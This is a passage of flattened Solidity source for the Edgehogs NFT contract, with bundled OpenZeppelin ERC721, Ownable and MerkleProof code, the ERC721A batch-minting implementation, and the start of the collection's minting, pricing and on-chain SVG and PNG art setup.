restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // Creator: Chiru Labs pragma solidity ^0.8.4; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerQueryForNonexistentToken(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 0; } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } /** * @dev Equivalent to `_safeMint(to, quantity, '')`. */ function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement * {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint(address to, uint256 quantity) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Equivalent to `_burn(tokenId, false)`. */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // OpenZeppelin Contracts v4.4.0 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } ///////////////////////////////////////// /////🦔INTERFACES🦔///////////////////// //////////////////////////////////////// contract OwnableDelegateProxy {} contract OpenSeaProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } pragma solidity ^0.8.12; interface InterfaceDescriptor { function renderBottom(uint256 _bottom) external view returns (bytes memory); function renderClothes(uint256 _clothes) external view returns (bytes memory); function renderBack(uint256 _back) external view returns (bytes memory); function renderAccessory(uint256 _accessory) external view returns (bytes memory); function renderHeadgear(uint256 _headgear) external view returns (bytes memory); function renderMouth(uint256 _mouth) external view returns (bytes memory); function renderBackground(uint256 _background) external view returns (bytes memory); function renderEyes(uint256 _eyes) external view returns (bytes memory); function renderLegendary(uint256 _legendary) external view returns (bytes memory); } // File: contracts/edgehogs.sol // (((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((( // (((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((( // (((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((( // (((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((( // (((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((( // (((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((( // (((((((((((((((((((((((((((((((((%%%(((%%%(((%%%(((%%%%%%((((((((((((((((((((((((((((((((((((((( // (((((((((((((((((((((((((((((((((@@@(((@@@(((@@@(((@@@@@@((((((((((((((((((((((((((((((((((((((( // ((((((((((((((((((((((((@@@(((@@@&&&@@@&&&@@@%%%@@@%%%%%%@@@(((((((((((((((((((((((((((((((((((( // ((((((((((((((((((((((((@@@@@@&&&%%%&&&%%%%%%###%%%###%%%###@@@((((((((((((((((((((((((((((((((( // (((((((((((((((((((((@@@&&&%%%######%%%%%%######%%%###%%%###%%%@@@(((((((((((((((((((((((((((((( // ((((((((((((((((((@@@&&&&&&&&&%%%###%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@((((((((((((((((((((((((((( // ((((((((((((######&&&&&&%%%&&&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@#########(((((((((((((((((( // ((((((((((((@@@@@@&&&&&&###@@@@@@@@@###%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@(((((((((((((((((( // (((((((((((((((@@@&&&%%%###@@@******%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@******&@@(((((((((((((((((( // (((((((((((((((@@@&&&%%%###%%%@@@***%%%///,,,,,,,,,%%%%%%*,,,,,,,,///***&@@((((((((((((((((((((( // (((((((((@@@@@@&&&&&&&&&%%%%%%%%%@@@(//,,,,,,,,,,,,,,,,,,,,,,,,//////###@@@((((((((((((((((((((( // ((((((((((((@@@&&&%%%%%%%%%%%%%%%@@@(//,,,,,,@@@ ,,,,,,,,,///@@@ ###@@@((((((((((((((((((((( // ((((((((((((@@@&&&%%%%%%%%%%%%%%%@@@(//,,,,,,@@@ ,,,,,,,,,///@@@ ###@@@((((((((((((((((((((( // (((((((((@@@@@@%%%&&&%%%%%%%%%%%%@@@(//,,,,,,@@@@@@*,,,,,,,,,,,@@@@@@###@@@((((((((((((((((((((( // ((((((((((((@@@&&&&&&%%%###%%%%%%@@@(//////////////,,,,,,,,,,,,//////&@@(((((((((((((((((((((((( // (((((((((@@@&&&%%%&&&%%%%%%%%%@@@###//////,,,,,,,,,,,,,,,,,,@@@@@@(//&@@(((((((((((((((((((((((( // (((((((((@@@&&&&&&&&&%%%###@@@#########@@@(///////////,,,@@@@@@@@@@@@((((((((((((((((((((((((((( // (((((((((@@@&&&%%%&&&&&&###@@@###//////###@@@@@@@@@@@@@@@@@@@@@@@@(((((((((((((((((((((((((((((( // (((((((((@@@&&&%%%&&&&&&###@@@###//////###@@@@@@@@@@@@@@@@@@@@@@@@(((((((((((((((((((((((((((((( // (((((((((@@@&&&%%%######@@@###///////////////###############@@@((((((((((((((((((((((((((((((((( // ((((((@@@&&&&&&%%%&&&###@@@###/////////,,,,,,,,,,,,//////###@@@((((((((((((((((((((((((((((((((( // (((((((((@@@&&&%%%&&&@@@###/////////,,,,,,,,,,,,,,,,,,//////&@@@@@(((((((((((((((((((((((((((((( // ((((((@@@&&&&&&%%%###@@@###/////////,,,,,,,,,,,,,,,,,,,,,///&@@(//&@@((((((((((((((((((((((((((( // (((((((((@@@&&&%%%###@@@######@@@(//,,,,,,,,,,,,,,,,,,,,,///&@@(//&@@((((((((((((((((((((((((((( // (((((((((@@@&&&%%%###@@@######@@@(//,,,,,,,,,,,,,,,,,,,,,///&@@(//&@@((((((((((((((((((((((((((( // (((((((((@@@&&&&&&&&&@@@###///@@@(//,,,,,,,,,,,,,,,,,,,,,///&@@(//&@@((((((((((((((((((((((((((( // ((((((@@@&&&&&&&&&###@@@###///@@@(//,,,,,,,,,,,,,,,,,,//////&@@(//&@@((((((((((((((((((((((((((( // (((((((((@@@&&&&&&%%%###@@@@@@(////////,,,,,,,,,,,,,,,//////&@@@@@(((((((((((((((((((((((((((((( // ((((((((((((@@@&&&%%%%%%@@@###////////////,,,,,,,,,/////////&@@((((((((((((((((((((((((((((((((( // (((((((((((((((@@@######@@@###///////////////////////////&@@(((((((((((((((((((((((((((((((((((( // (((((((((((((((@@@######@@@###///////////////////////////&@@(((((((((((((((((((((((((((((((((((( // ((((((((((((((((((@@@@@@@@@###///@@@@@@@@@@@@@@@###///&@@(((((((((((((((@spiridono(((((((((((((( // ((((((((((((((((((((((((@@@###///@@@(((((((((@@@###///&@@((((((((((((((((((((((((((((((((((((((( contract Edgehogs is Ownable, ERC721A { uint256 public MAX = 6666; uint256 public MAX_FREE = 696; uint256 public MAX_REROLLS = 1000; uint256 public PURCHASE_LIMIT = 10; uint256 public PRICE = 0.025 ether; uint256 public REROLL_PRICE = 0.01 ether; uint256 public mintedTokens; uint256 public rerollsMade; uint256 public freeClaimed; uint8 public saleState = 0; // = DEV, 1 = SALE, 2 = REROLL, 3 = CLOSED // OpenSea auto approve is live bool public isOpenSeaApproved; //Legendaries status bool public legendariesSet = false; // OpenSea proxy registry contract OpenSeaProxyRegistry public openSeaProxyRegistry; // withdraw addresses address t1 = 0x392D50fCFDd5b36E6DdDB22bcB84AA80B8105890; // address t2 = 0xE0b76103Ec5d8159939572A61286bD3291DB8a43; //Steve Aoki addrress address steveAoki = 0xe4bBCbFf51e61D0D95FcC5016609aC8354B177C4; //Save seed for traits for each token mapping(uint256 => uint256) public tokenSeed; // amount minted by address in presale mapping(address => uint256) public whitelistMints; InterfaceDescriptor public descriptor; uint16[][8] rarities; string[][9] traitsByName; uint256[] legendaryList; // Mapping from token ID to name mapping (uint256 => string) private _tokenName; // Mapping if certain name string has already been reserved mapping (string => bool) private _nameReserved; // presale merkle tree root bytes32 internal _merkleRoot; //SVG-parts shared by all Edgehogs string private constant svgStart = "<svg id='edgehog' xmlns='http://www.w3.org/2000/svg' viewBox='0 0 256 256' width='640' height='640'>"; string private constant svgEnd = "<style>#edgehog{shape-rendering: crispedges; image-rendering: -moz-crisp-edges; image-rendering: optimizeSpeed; image-rendering: -webkit-crisp-edges; image-rendering: -webkit-optimize-contrast; image-rendering: crisp-edges; image-rendering: pixelated; -ms-interpolation-mode: nearest-neighbor;}.vibe { animation: 0.5s vibe infinite alternate ease-in-out; } @keyframes vibe { from { transform: translateY(0px); } to { transform: translateY(1.5%); } }</style></svg>"; string private constant _body = "<image href='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQAAAAEABAMAAACuXLVVAAAAD1BMVEUAAACTg2rLtaEnDQhZVlIUtesvAAAAAXRSTlMAQObYZgAAAMhJREFUeNrt2bENxCAQRUG3QAvXAi24/5oOS15hmdNB6vVMQkDwXwwbAAAAAAAAAAAAAAAAAAAAAMCq2uzNtkiAAAG5AmI8bBMCBAjIG1BOswgBAgTkCujjo/2H2ggQICB/wOemnAQIEJAvYD4+RtSTAAEC3hdwiIA4BQgQkCfgUBsBAgS8N6A0AgQIEDALKI0AAQJyBoRysfpAIUCAgOcH/Pu4vI+HGBcgQED+gG4cFyBAQN6AOoi7Pi5AgID8Adc7AQIEpAj4AjgSOK7j5zUdAAAAAElFTkSuQmCC'/>"; string private constant _head = "<g class='vibe'><image href='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQAAAAEABAMAAACuXLVVAAAAFVBMVEUAAADLtaEnDQiTg2rsmJkAAABZVlL0LlrIAAAAAXRSTlMAQObYZgAAALBJREFUeNrt1s0JwzAMgNGukBWyQlfoCl2h+4/QGCwQAZOfm5X3rpHQdwp+AQAAAAAAAAAAAJyxJnf3BAgQMH/Ap7uyFzsCBAiYPyBHvLsliZklaTP5uAABAuYPiIh0fCgifxsBAgQ8LyB/FyBAwDMDGgECBNQP2Bs9SOK4AAEC6gQ0o6Ph2wkQIKBuwOiHFMdDPi5AgIB6Ac16YD8vQICAegEAAAAAAAAAAAAAAEAZf88p+dDBeVtDAAAAAElFTkSuQmCC'/></g>"; constructor( InterfaceDescriptor descriptor_, OpenSeaProxyRegistry openSeaProxyRegistry_, bytes32 merkleRoot_ ) ERC721A("EDGEHOGS", unicode"⚉") { //Solidity 0.8.12 does not seem to support Unicode 10.0 emojis as of now, otherwise it would have been 🦔 ofc // Initializing variables descriptor = descriptor_; openSeaProxyRegistry = openSeaProxyRegistry_; _merkleRoot = merkleRoot_; //sum of rarities values must be equal to the mod used in _getRandomIndex, 10000 in our case rarities[0] = [0, 200, 2000, 2000, 2000, 2000, 900, 900 ]; //backgrounds rarities[1] = [ 0, 1000, 850, 700, 700, 700, 600, 600, 500, 500, 400, 400, 300, 300, 300, 300, 300, 300, 200, 200, 200, 200, 200, 100, 100, 50 ]; //backs rarities[2] = [ 0, 550, 550, 550, 550, 550, 550, 550, 550, 550, 500, 500, 500, 500, 500, 500, 500, 500, 500, 500, 50 ]; //bottoms rarities[3] = [ 0, 550, 550, 550, 550, 